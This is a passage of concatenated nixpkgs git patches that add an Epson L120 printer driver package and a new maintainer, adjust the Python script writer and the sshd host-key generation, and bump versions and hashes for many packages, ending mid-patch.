From 718d2287b08534398184fa2107744c81b8fe23ae Mon Sep 17 00:00:00 2001 From: Josh Hoffer Date: Thu, 18 Apr 2024 15:48:34 -0700 Subject: [PATCH 001/390] makePythonWriter: allow providing function for libraries --- pkgs/build-support/writers/scripts.nix | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/pkgs/build-support/writers/scripts.nix b/pkgs/build-support/writers/scripts.nix index 81a88391f324..7c22f0b22e98 100644 --- a/pkgs/build-support/writers/scripts.nix +++ b/pkgs/build-support/writers/scripts.nix @@ -927,7 +927,12 @@ rec { // { interpreter = if pythonPackages != pkgs.pypy2Packages || pythonPackages != pkgs.pypy3Packages then - if libraries == [ ] then python.interpreter else (python.withPackages (ps: libraries)).interpreter + if libraries == [ ] then + python.interpreter + else if (lib.isFunction libraries) then + (python.withPackages (ps: libraries ps)).interpreter + else + (python.withPackages (ps: libraries)).interpreter else python.interpreter; check = optionalString (python.isPy3k && doCheck) ( From 03959029e6b4a8127738f44aa4587fbab421ea48 Mon Sep 17 00:00:00 2001 From: Josh Hoffer Date: Wed, 21 May 2025 14:13:18 -0700 Subject: [PATCH 002/390] Use direct function application syntax Co-authored-by: Wolfgang Walther --- pkgs/build-support/writers/scripts.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkgs/build-support/writers/scripts.nix b/pkgs/build-support/writers/scripts.nix index 7c22f0b22e98..0d42b84b188e 100644 --- a/pkgs/build-support/writers/scripts.nix +++ b/pkgs/build-support/writers/scripts.nix @@ -930,7 +930,7 @@ rec { if libraries == [ ] then python.interpreter else if (lib.isFunction libraries) then - (python.withPackages (ps: libraries ps)).interpreter + (python.withPackages libraries).interpreter else (python.withPackages (ps: libraries)).interpreter else From 76805ecc3c581976c35bf401b859055e48bb8ba8 Mon Sep 17 00:00:00 2001 From: nukdokplex Date: Wed, 28 May 2025 23:41:53 +0500 Subject: [PATCH 003/390] maintainers: add nukdokplex --- maintainers/maintainer-list.nix | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix index 1fe6c64c6000..3e86fc1efbbb 100644 --- a/maintainers/maintainer-list.nix +++ b/maintainers/maintainer-list.nix @@ -18063,6 +18063,15 @@ githubId = 22592293; name = "Kartik Gokte"; }; + nukdokplex = { + email = "nukdokplex@nukdokplex.ru"; + github = "nukdokplex"; + githubId = 25458915; + name = "Viktor Titov"; + keys = [ + { fingerprint = "7CE2 4C42 942D 58EA 99F6 F00A A47E 7374 3EF6 FCC4"; } + ]; + }; nullcube = { email = "nullcub3@gmail.com"; name = "NullCube"; From 23b852ddd3bf6ae632fe34b34d00b9563ec641a5 Mon Sep 17 00:00:00 2001 From: nukdokplex Date: Wed, 28 May 2025 23:48:31 +0500 Subject: [PATCH 004/390] epson_201310w: init at 1.0.1 --- pkgs/by-name/ep/epson_201310w/package.nix | 74 +++++++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 pkgs/by-name/ep/epson_201310w/package.nix diff --git a/pkgs/by-name/ep/epson_201310w/package.nix b/pkgs/by-name/ep/epson_201310w/package.nix new file mode 100644 index 000000000000..d7652d1fc582 --- /dev/null +++ b/pkgs/by-name/ep/epson_201310w/package.nix @@ -0,0 +1,74 @@ +{ + lib, + stdenv, + fetchurl, + rpmextract, + libjpeg, + cups, +}: +stdenv.mkDerivation (finalAttrs: { + pname = "epson_201310w"; + version = "1.0.1"; + + src = fetchurl { + url = "https://download3.ebz.epson.net/dsc/f/03/00/15/64/77/6f825c323a9f4b8429e3f9f0f4e9c50b1b15f583/epson-inkjet-printer-201310w-${finalAttrs.version}-1.src.rpm"; + hash = "sha256-596qMon5KmMHe7mh+ykdpWeazJOCGA6HmmtvdGheRmA="; + }; + + nativeBuildInputs = [ rpmextract ]; + + buildInputs = [ + libjpeg + cups + ]; + + unpackPhase = '' + runHook preUnpack + rpmextract $src + tar -zxf epson-inkjet-printer-201310w-1.0.1.tar.gz + tar -zxf epson-inkjet-printer-filter-1.0.2.tar.gz + runHook postUnpack + ''; + + preConfigure = '' + cd epson-inkjet-printer-filter-1.0.2 + ''; + + postInstall = '' + cd ../epson-inkjet-printer-201310w-1.0.1 + cp -a lib64 resource watermark $out + install --mode=0644 -Dt $out/share/cups/model ppds/EPSON_L120.ppd + mkdir -p $out/doc + cp -a Manual.txt $out/doc + cp -a README $out/doc/README.driver + ''; + + postFixup = '' + substituteInPlace $out/share/cups/model/EPSON_L120.ppd \ + --replace-fail "/home/epson/projects/PrinterDriver/P2/_rpmbuild/SOURCES/epson-inkjet-printer-201310w-1.0.1/watermark" "$out/watermark" \ + --replace-fail "Epson_201310w.1.data" "$out/resource/Epson_201310w.1.data" + ''; + + meta = { + homepage = "https://www.epson.eu/en_EU/support/sc/epson-l120/s/s1346"; + description = "Epson printer driver for L120 series inkjet printers"; + longDescription = '' + This software is a filter program used with the Common UNIX Printing + System (CUPS) under Linux. It supplies high quality printing with + Seiko Epson L120 series printers. + + To use the driver adjust your configuration.nix file: + services.printing = { + enable = true; + drivers = [ pkgs.epson_201310w ]; + }; + ''; + license = with lib.licenses; [ + lgpl21 + epson + ]; + sourceProvenance = [ lib.sourceTypes.binaryNativeCode ]; + maintainers = with lib.maintainers; [ nukdokplex ]; + platforms = [ "x86_64-linux" ]; + }; +}) From 4506da058e1a7bd78e9f052fd6a6b3314fcc2892 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sat, 7 Jun 2025 07:25:16 +0000 Subject: [PATCH 005/390] python3Packages.linode-api: 5.29.1 -> 5.32.0 --- pkgs/development/python-modules/linode-api/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/linode-api/default.nix b/pkgs/development/python-modules/linode-api/default.nix index d299318d0fac..04774b0eb5e8 100644 --- a/pkgs/development/python-modules/linode-api/default.nix +++ b/pkgs/development/python-modules/linode-api/default.nix @@ -14,7 +14,7 @@ buildPythonPackage rec { pname = "linode-api"; - version = "5.29.1"; + version = "5.32.0"; pyproject = true; disabled = pythonOlder "3.9"; @@ -24,7 +24,7 @@ buildPythonPackage rec { owner = "linode"; repo = "python-linode-api"; tag = "v${version}"; - hash = "sha256-orMQr3FYyK4piazMsZmYkaZ/G/DvQOZObdtWt0wiEi4="; + hash = "sha256-z1enJwdMy7yi+lVkeMkMMQ0kenCcVY8NQWKINAue5VA="; }; build-system = [ setuptools ]; From 6e515b92e616ef43dfae810516308c79bdd5e769 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 8 Jun 2025 12:35:04 +0000 Subject: [PATCH 006/390] m17n_lib: 1.8.5 -> 1.8.6 --- pkgs/tools/inputmethods/m17n-lib/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/tools/inputmethods/m17n-lib/default.nix b/pkgs/tools/inputmethods/m17n-lib/default.nix index f40be071b0b9..e709b85f08d5 100644 --- a/pkgs/tools/inputmethods/m17n-lib/default.nix +++ b/pkgs/tools/inputmethods/m17n-lib/default.nix @@ -8,11 +8,11 @@ }: stdenv.mkDerivation rec { pname = "m17n-lib"; - version = "1.8.5"; + version = "1.8.6"; src = fetchurl { url = "mirror://savannah/m17n/${pname}-${version}.tar.gz"; - hash = "sha256-e2xCX3ktBtFOT1sXIE02J+LI67Qj69rpLAxkZxDT1sc="; + hash = "sha256-cSn+O3rVAPiLivhgXvB7lsh6deyYamlf/8CkCfRKfIY="; }; strictDeps = true; From ac23c01c09c3bf0e5d38ac10b613bc512df8a367 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 8 Jun 2025 23:59:39 +0000 Subject: [PATCH 007/390] plover.dev: 4.0.0.dev10 -> 4.0.2 --- pkgs/applications/misc/plover/default.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/applications/misc/plover/default.nix b/pkgs/applications/misc/plover/default.nix index 89c32a27b7ce..1a9e75b7cb70 100644 --- a/pkgs/applications/misc/plover/default.nix +++ b/pkgs/applications/misc/plover/default.nix @@ -13,7 +13,7 @@ with python3Packages; mkDerivationWith buildPythonPackage rec { pname = "plover"; - version = "4.0.0.dev10"; + version = "4.0.2"; meta = with lib; { broken = stdenv.hostPlatform.isDarwin; @@ -28,8 +28,8 @@ src = fetchFromGitHub { owner = "openstenoproject"; repo = "plover"; - rev = "v${version}"; - sha256 = "sha256-oJ7+R3ZWhUbNTTAw1AfMg2ur8vW1XEbsa5FgSTam1Ns="; + tag = "v${version}"; + sha256 = "sha256-VpQT25bl8yPG4J9IwLkhSkBt31Y8BgPJdwa88WlreA8="; }; # I'm not sure why we don't find PyQt5 here but there's a similar From 8eb57e18407389869ebc402d77f30bdd2d2bec71 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 9 Jun 2025 00:08:35 +0000 Subject: [PATCH 008/390] python3Packages.indexed-gzip: 1.8.7 -> 1.9.5 --- pkgs/development/python-modules/indexed-gzip/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/indexed-gzip/default.nix b/pkgs/development/python-modules/indexed-gzip/default.nix index 8bab1b6c5f89..65aa4f434251 100644 --- a/pkgs/development/python-modules/indexed-gzip/default.nix +++ b/pkgs/development/python-modules/indexed-gzip/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "indexed_gzip"; - version = "1.8.7"; + version = "1.9.5"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-dryq1LLC+lVHj/i+m60ubGGItlX5/clCnwNGrexI92I="; + hash = "sha256-EFNmVndZ22x9+GbYaWEd7Tu4PVwOUPuwHQLBkiuYtFc="; }; nativeBuildInputs = [ From 5c450956dc58d9f1d2c3843a2aa954ad5d98d299 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 9 Jun 2025 02:23:49 +0000 Subject: [PATCH 009/390] python3Packages.pycuda: 2025.1 -> 2025.1.1 --- pkgs/development/python-modules/pycuda/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/pycuda/default.nix b/pkgs/development/python-modules/pycuda/default.nix index b3014dc7f56c..0ffc210d54ae 100644 --- a/pkgs/development/python-modules/pycuda/default.nix +++ b/pkgs/development/python-modules/pycuda/default.nix @@ -23,12 +23,12 @@ let in buildPythonPackage rec { pname = "pycuda"; - version = "2025.1"; + version = "2025.1.1"; format = "setuptools"; src = fetchPypi { inherit pname version; - hash = "sha256-UnOOmpQcKVwKXfaqDUmsifZtg12szpyci4TnUw/kYi8="; + hash = "sha256-urBnjUP0achl9f5gJPSBx4HsUf7+Zoas1mxnK/q+o08="; }; preConfigure = with lib.versions; '' From a3c0420262f9236327b7b3d41f19769d156b901a Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 9 Jun 2025 02:26:50 +0000 Subject: [PATCH 010/390] python3Packages.cloudsmith-api: 2.0.18 -> 2.0.20 --- pkgs/development/python-modules/cloudsmith-api/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/cloudsmith-api/default.nix b/pkgs/development/python-modules/cloudsmith-api/default.nix index a21aa223deac..101741f19ada 100644 --- a/pkgs/development/python-modules/cloudsmith-api/default.nix +++ b/pkgs/development/python-modules/cloudsmith-api/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "cloudsmith-api"; - version = "2.0.18"; + version = "2.0.20"; format = "wheel"; disabled = pythonOlder "3.7"; @@ -19,7 +19,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "cloudsmith_api"; inherit format version; - hash = "sha256-5Mnf1VaEhfhTdmIaSCW5vUDcKc4zWF3IELP1y+1oi48="; + hash = "sha256-ZZeXXWcefJK8iSdSs8+48UBaytoaVy89Aue9QQYQNKs="; }; propagatedBuildInputs = [ From 6acf53f6547337106235a0d892e6341e01a5c5cd Mon Sep 17 00:00:00 2001 From: Yarny0 <41838844+Yarny0@users.noreply.github.com> Date: Mon, 9 Jun 2025 20:34:15 +0200 Subject: [PATCH 011/390] nixos/sshd: don't use `-a` (KDF rounds) on host keys The nixos `sshd.nix` module contains a mechanism to generate ssh host keys prior to starting sshd if those host keys are missing. The option `services.openssh.hostKeys` is used to configure which host keys should exist or be created. It also declares the key type and other key-related options. One of those options is `rounds`. That one is then forwarded to the `ssh-keygen` program with the `-a` option. It defines how many rounds of a key derivation function are to be used on the key's passphrase before the result is used to en-/decrypt the private key; cf. ssh-keygen(1). ssh host keys are passwordless; they are solely protected by filesystem access modes. Hence, the `-a` option is irrelevant and silently ignored by `ssh-keygen`. The commit at hand therefore removes this option from the host key generation script and the option examples. --- nixos/modules/services/networking/ssh/sshd.nix | 3 --- 1 file changed, 3 deletions(-) diff --git a/nixos/modules/services/networking/ssh/sshd.nix b/nixos/modules/services/networking/ssh/sshd.nix index 88ecfe22d70a..12d725e1b7f9 100644 --- a/nixos/modules/services/networking/ssh/sshd.nix +++ b/nixos/modules/services/networking/ssh/sshd.nix @@ -366,13 +366,11 @@ in type = "rsa"; bits = 4096; path = "/etc/ssh/ssh_host_rsa_key"; - rounds = 100; openSSHFormat = true; } { type = "ed25519"; path = "/etc/ssh/ssh_host_ed25519_key"; - rounds = 100; comment = "key comment"; } ]; @@ -798,7 +796,6 @@ in ssh-keygen \ -t "${k.type}" \ ${lib.optionalString (k ? bits) "-b ${toString k.bits}"} \ - ${lib.optionalString (k ? rounds) "-a ${toString k.rounds}"} \ ${lib.optionalString (k ? comment) "-C '${k.comment}'"} \ ${lib.optionalString (k ? openSSHFormat && k.openSSHFormat) "-o"} \ -f "${k.path}" \ From 044563c8a994e2a2e32765caf993ee0904e317ab Mon Sep 17 00:00:00 2001 From: qbisi Date: Tue, 10 Jun 2025 18:12:52 +0800 Subject: [PATCH 012/390] openusd: propagate dependency opengl --- pkgs/development/python-modules/openusd/default.nix | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/pkgs/development/python-modules/openusd/default.nix b/pkgs/development/python-modules/openusd/default.nix index 073a4b1145fc..79261e4bd95e 100644 --- a/pkgs/development/python-modules/openusd/default.nix +++ b/pkgs/development/python-modules/openusd/default.nix @@ -72,6 +72,12 @@ buildPythonPackage rec { url = "https://github.com/PixarAnimationStudios/OpenUSD/commit/9ea3bc1ab550ec46c426dab04292d9667ccd2518.patch?full_index=1"; hash = "sha256-QjA3kjUDsSleUr+S/bQLb+QK723SNFvnmRPT+ojjgq8="; }) + (fetchpatch { + # https://github.com/PixarAnimationStudios/OpenUSD/pull/3648 + name = "propagate-dependencies-opengl.patch"; + url = "https://gitlab.archlinux.org/archlinux/packaging/packages/usd/-/raw/41469f20113d3550c5b42e67d1139dedc1062b8c/usd-find-dependency-OpenGL.patch?full_index=1"; + hash = "sha256-aUWGKn365qov0ttGOq5GgNxYGIGZ4DfmeMJfakbOugQ="; + }) ]; env.OSL_LOCATION = "${osl}"; @@ -125,7 +131,6 @@ buildPythonPackage rec { tbb ] ++ lib.optionals stdenv.hostPlatform.isLinux [ - libGL libX11 libXt ] @@ -142,6 +147,9 @@ buildPythonPackage rec { pyopengl distutils ] + ++ lib.optionals stdenv.hostPlatform.isLinux [ + libGL + ] ++ lib.optionals (withTools || withUsdView) [ pyside-tools-uic pyside6 From 37f429d136714c28f2e1fb636bdfb5b11c23db4f Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 10 Jun 2025 11:51:13 +0000 Subject: [PATCH 013/390] crawl: 0.32.1 -> 0.33.1 --- pkgs/games/crawl/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/games/crawl/default.nix b/pkgs/games/crawl/default.nix index 10c67bb532a5..458ca1034b06 100644 --- a/pkgs/games/crawl/default.nix +++ b/pkgs/games/crawl/default.nix @@ -27,13 +27,13 @@ stdenv.mkDerivation rec { pname = "crawl${lib.optionalString tileMode "-tiles"}"; - version = "0.32.1"; + version = "0.33.1"; src = fetchFromGitHub { owner = "crawl"; repo = "crawl"; rev = version; - hash = "sha256-jhjFC8+A2dQomMwKZPSiEViXeQpty2Dk9alDcNsLvq0="; + hash = "sha256-GXrYLGoQ1UwDHs+kLLcaBNpJ2BVMv4NhmpyfNFxPmg8="; }; # Patch hard-coded paths and remove force library builds From a299a7e6158a0004d0319b1a9df6c56b0a399f7d Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Wed, 11 Jun 2025 08:58:51 +0000 Subject: [PATCH 014/390] localstack: 4.4.0 -> 4.5.0 --- pkgs/by-name/lo/localstack/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/lo/localstack/package.nix b/pkgs/by-name/lo/localstack/package.nix index 8ffeea9b895b..d168086a37c8 100644 --- a/pkgs/by-name/lo/localstack/package.nix +++ b/pkgs/by-name/lo/localstack/package.nix @@ -6,14 +6,14 @@ python3.pkgs.buildPythonApplication rec { pname = "localstack"; - version = "4.4.0"; + version = "4.5.0"; pyproject = true; src = fetchFromGitHub { owner = "localstack"; repo = "localstack"; tag = "v${version}"; - hash = "sha256-kRAlRJlGdpbSmbffhAIJvWWqKG9nhe6zHCQyxX88gRM="; + hash = "sha256-lqFT2Ad92ZjsuKIuaFZ/tes2xJ8PBl0XUvqRmppWL0c="; }; build-system = with python3.pkgs; [ From 3b267151f0dd360b2c28615e1be5bab4004eafac Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Wed, 11 Jun 2025 14:02:35 +0000 Subject: [PATCH 015/390] libdatachannel: 0.22.6 -> 0.23.0 --- pkgs/by-name/li/libdatachannel/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/li/libdatachannel/package.nix b/pkgs/by-name/li/libdatachannel/package.nix index d90b6e0faef7..ffa8eab61fb7 100644 --- a/pkgs/by-name/li/libdatachannel/package.nix +++ b/pkgs/by-name/li/libdatachannel/package.nix @@ -14,13 +14,13 @@ stdenv.mkDerivation rec { pname = "libdatachannel"; - version = "0.22.6"; + version = "0.23.0"; src = fetchFromGitHub { owner = "paullouisageneau"; repo = "libdatachannel"; rev = "v${version}"; - hash = "sha256-Xn2RfPFvCIx7gTFqxXbFVJZDkphZR94SAHJ+0ombf+8="; + hash = "sha256-bzheNNG6J0tswFZT+Vlqm2FS9MArois46yb8XeL5YqI="; }; outputs = [ From 50294069aafa9372aef2e1913e530076addb12da Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Wed, 11 Jun 2025 20:56:31 +0000 Subject: [PATCH 016/390] louvre: 2.16.3-1 -> 2.18.1-1 --- pkgs/by-name/lo/louvre/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/lo/louvre/package.nix b/pkgs/by-name/lo/louvre/package.nix index 53393017ddd2..bff58b111ab2 100644 --- a/pkgs/by-name/lo/louvre/package.nix +++ b/pkgs/by-name/lo/louvre/package.nix @@ -24,13 +24,13 @@ }: stdenv.mkDerivation (finalAttrs: { pname = "louvre"; - version = "2.16.3-1"; + version = "2.18.1-1"; src = fetchFromGitHub { owner = "CuarzoSoftware"; repo = "Louvre"; rev = "v${finalAttrs.version}"; - hash = "sha256-ZdV/KvYnPN4IKU6kbjDhCgcC3TdWqZbNJzDt39ZQ2x8="; + hash = "sha256-wkOY3ARq7x3roRflRN8rMSbrI5B4amI+0CVJmfLYx2w="; }; sourceRoot = "${finalAttrs.src.name}/src"; From 0bf47e80fc5548c725ff74cbe2e1ac376a390f0f Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Thu, 12 Jun 2025 08:13:09 +0000 Subject: [PATCH 017/390] python3Packages.sphinxcontrib-confluencebuilder: 2.12.0 -> 2.13.0 --- .../sphinxcontrib-confluencebuilder/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/sphinxcontrib-confluencebuilder/default.nix b/pkgs/development/python-modules/sphinxcontrib-confluencebuilder/default.nix index 1df486bf844a..83b3f959af1a 100644 --- a/pkgs/development/python-modules/sphinxcontrib-confluencebuilder/default.nix +++ b/pkgs/development/python-modules/sphinxcontrib-confluencebuilder/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "sphinxcontrib-confluencebuilder"; - version = "2.12.0"; + version = "2.13.0"; pyproject = true; disabled = pythonOlder "3.9"; @@ -20,7 +20,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "sphinxcontrib_confluencebuilder"; inherit version; - hash = "sha256-+YKH9qTtqWNUlQMRkFSmP+RK8IAN6/rrYctvY3pIf+I="; + hash = "sha256-2Sl0ZwdHn0dXf+kbNcxaDMfWLaGdfUgCRjKTADA+unM="; }; build-system = [ flit-core ]; From c9fba117e00e411909dfc071219c11a2625e5746 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Thu, 12 Jun 2025 11:08:54 +0000 Subject: [PATCH 018/390] python3Packages.google-cloud-websecurityscanner: 1.17.2 -> 1.17.3 --- .../google-cloud-websecurityscanner/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/google-cloud-websecurityscanner/default.nix b/pkgs/development/python-modules/google-cloud-websecurityscanner/default.nix index 8b9fa6f6c3ec..128e4c4110a9 100644 --- a/pkgs/development/python-modules/google-cloud-websecurityscanner/default.nix +++ b/pkgs/development/python-modules/google-cloud-websecurityscanner/default.nix @@ -14,7 +14,7 @@ buildPythonPackage rec { pname = "google-cloud-websecurityscanner"; - version = "1.17.2"; + version = "1.17.3"; pyproject = true; disabled = pythonOlder "3.7"; @@ -22,7 +22,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "google_cloud_websecurityscanner"; inherit version; - hash = "sha256-EWTO9yWJUHe+mELBp1/CxB6OCaS0woZtooKFAGH4yGY="; + hash = "sha256-Bmi8LH4HtxlnLsDtpSG1BQYp5yg4gEaKzLxPIUwPemM="; }; build-system = [ setuptools ]; From 4576aa86aa37f3456bd5dfc095c69cb44640ddd0 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Thu, 12 Jun 2025 11:18:20 +0000 Subject: [PATCH 019/390] avalanchego: 1.13.0 -> 1.13.1 --- pkgs/by-name/av/avalanchego/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/av/avalanchego/package.nix b/pkgs/by-name/av/avalanchego/package.nix index 68c136d666ce..9421dc1f8c93 100644 --- a/pkgs/by-name/av/avalanchego/package.nix +++ b/pkgs/by-name/av/avalanchego/package.nix @@ -7,19 +7,19 @@ buildGo123Module (finalAttrs: { pname = "avalanchego"; - version = "1.13.0"; + version = "1.13.1"; src = fetchFromGitHub { owner = "ava-labs"; repo = "avalanchego"; tag = "v${finalAttrs.version}"; - hash = "sha256-t6KruPHt51wJ4aJaCG/8tuwKYtaifHvQ3z9oVknNS4E="; + hash = "sha256-AyYBPkMPwgbxgr5Q/mpAUpsXhQ9Y++91XkPHScZ1MtI="; }; # https://github.com/golang/go/issues/57529 proxyVendor = true; - vendorHash = "sha256-iyx9k8mPPOwpHo9lEdNPf0sQHxbKbNTVLUZrPYY8dWM="; + vendorHash = "sha256-pMrkXv9vgED6e1qtgz+pJj3T0Nyemy0PKr8w7ZiKbgk="; subPackages = [ "main" ]; From 1cc8c48cd438590c7234fdc440bf5408f64ba3e3 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Thu, 12 Jun 2025 12:33:15 +0000 Subject: [PATCH 020/390] yoshimi: 2.3.3.3 -> 2.3.4.1 --- pkgs/by-name/yo/yoshimi/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/yo/yoshimi/package.nix b/pkgs/by-name/yo/yoshimi/package.nix index f74822341f51..f7cf1f740c8a 100644 --- a/pkgs/by-name/yo/yoshimi/package.nix +++ b/pkgs/by-name/yo/yoshimi/package.nix @@ -23,13 +23,13 @@ stdenv.mkDerivation rec { pname = "yoshimi"; - version = "2.3.3.3"; + version = "2.3.4.1"; src = fetchFromGitHub { owner = "Yoshimi"; repo = "yoshimi"; rev = version; - hash = "sha256-i6kzVtg2ukob0QBr/hbxblm+eTkPIKbnGLpFdUl/zGQ="; + hash = "sha256-d0NA4/uCC1jhksM7KOi+SXqeLiq9XZimXV0KUyRhWGs="; }; sourceRoot = "${src.name}/src"; From f8c27cf4f2def84b73ede3a69a5e06cf1af04fc1 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Thu, 12 Jun 2025 12:53:27 +0000 Subject: [PATCH 021/390] gcompris: 25.1 -> 25.1.1 --- pkgs/games/gcompris/default.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/games/gcompris/default.nix b/pkgs/games/gcompris/default.nix index 12ed98aeafd2..2e51314004cd 100644 --- a/pkgs/games/gcompris/default.nix +++ b/pkgs/games/gcompris/default.nix @@ -20,15 +20,15 @@ stdenv.mkDerivation (finalAttrs: { pname = "gcompris"; - version = "25.1"; + version = "25.1.1"; src = fetchurl { url = "mirror://kde/stable/gcompris/qt/src/gcompris-qt-${finalAttrs.version}.tar.xz"; - hash = "sha256-3aTkhsfsTQgHRKBaa4nbr+Df4HBB+/JF8ImCcWN1rLU="; + hash = "sha256-Y23pFov1/WKPrwYYRfGI8sOF0tp/ksSwRJE5zmxtoSo="; }; # fix concatenation of absolute paths like - # /nix/store/77zcv3vmndif01d4wh1rh0d1dyvyqzpy-gcompris-25.1/bin/..//nix/store/77zcv3vmndif01d4wh1rh0d1dyvyqzpy-gcompris-25.1/share/gcompris-qt/rcc/core.rcc + # /nix/store/77zcv3vmndif01d4wh1rh0d1dyvyqzpy-gcompris-25.1.1/bin/..//nix/store/77zcv3vmndif01d4wh1rh0d1dyvyqzpy-gcompris-25.1.1/share/gcompris-qt/rcc/core.rcc postPatch = '' substituteInPlace src/core/config.h.in --replace-fail \ "../@_data_dest_dir@" "../share/gcompris-qt" From d51e148969a525056cbce20a3a3709cb6b4ed8c5 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Thu, 12 Jun 2025 13:15:10 +0000 Subject: [PATCH 022/390] openturns: 1.24 -> 1.25 --- pkgs/by-name/op/openturns/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/op/openturns/package.nix b/pkgs/by-name/op/openturns/package.nix index c93d0ba40100..2d19f3859f79 100644 --- a/pkgs/by-name/op/openturns/package.nix +++ b/pkgs/by-name/op/openturns/package.nix @@ -25,13 +25,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "openturns"; - version = "1.24"; + version = "1.25"; src = fetchFromGitHub { owner = "openturns"; repo = "openturns"; rev = "v${finalAttrs.version}"; - hash = "sha256-88wxgifLuF/P/qeMLVP0S5Agutf022Dsysu38mh9+8w="; + hash = "sha256-lAFfOwriDdYvfRK/5vEQ/v97o3l/aH8jPHCVf9vlfV4="; }; nativeBuildInputs = [ From bf20087fe21477f87c7ab16db4f5bb4c871bcadd Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Thu, 12 Jun 2025 15:46:57 +0000 Subject: [PATCH 023/390] git-town: 21.0.0 -> 21.1.0 --- pkgs/by-name/gi/git-town/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/gi/git-town/package.nix b/pkgs/by-name/gi/git-town/package.nix index 5eca702dc9d6..f0a810a1d75c 100644 --- a/pkgs/by-name/gi/git-town/package.nix +++ b/pkgs/by-name/gi/git-town/package.nix @@ -13,13 +13,13 @@ buildGoModule rec { pname = "git-town"; - version = "21.0.0"; + version = "21.1.0"; src = fetchFromGitHub { owner = "git-town"; repo = "git-town"; tag = "v${version}"; - hash = "sha256-Wnp3qkF7e358uGftBy5vi3GandyZsAyxESvgUFB7mmM="; + hash = "sha256-T+5qZBziXiCeCJJaW/EcbgnRLv+AUKDD4ODKbJKvbjY="; }; vendorHash = null; From b708156169fee1fe41f560fd5b456567c27b1ed4 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Thu, 12 Jun 2025 22:30:04 +0000 Subject: [PATCH 024/390] go-task: 3.43.3 -> 3.44.0 --- pkgs/by-name/go/go-task/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/go/go-task/package.nix b/pkgs/by-name/go/go-task/package.nix index e0efeadb41c6..1f9f7b11da70 100644 --- a/pkgs/by-name/go/go-task/package.nix +++ b/pkgs/by-name/go/go-task/package.nix @@ -10,16 +10,16 @@ buildGoModule (finalAttrs: { pname = "go-task"; - version = "3.43.3"; + version = "3.44.0"; src = fetchFromGitHub { owner = "go-task"; repo = "task"; tag = "v${finalAttrs.version}"; - hash = "sha256-ZIZdk0yyykjjSdH6YG8K8WpI8e8426odk8RxISsJe80="; + hash = "sha256-hZi1BSVv3Z+OzJyNvruyDbxYjTgfERnssWZaK0HGQmc="; }; - vendorHash = "sha256-3Uu0ozwOgp6vQh+s9nGKojw6xPUI49MjjPqKh9g35lQ="; + vendorHash = "sha256-8OLWIAikKqmj3tXRO7Ro3VFItKDrhVh6n8pHbBM9Nrc="; nativeBuildInputs = [ installShellFiles ]; From 80a18c80e346f8a141625beb858c3090edeef60d Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Thu, 12 Jun 2025 23:38:56 +0000 Subject: [PATCH 025/390] dump: 0.4b48 -> 0.4b51 --- pkgs/by-name/du/dump/package.nix | 4 ++-- 1 file 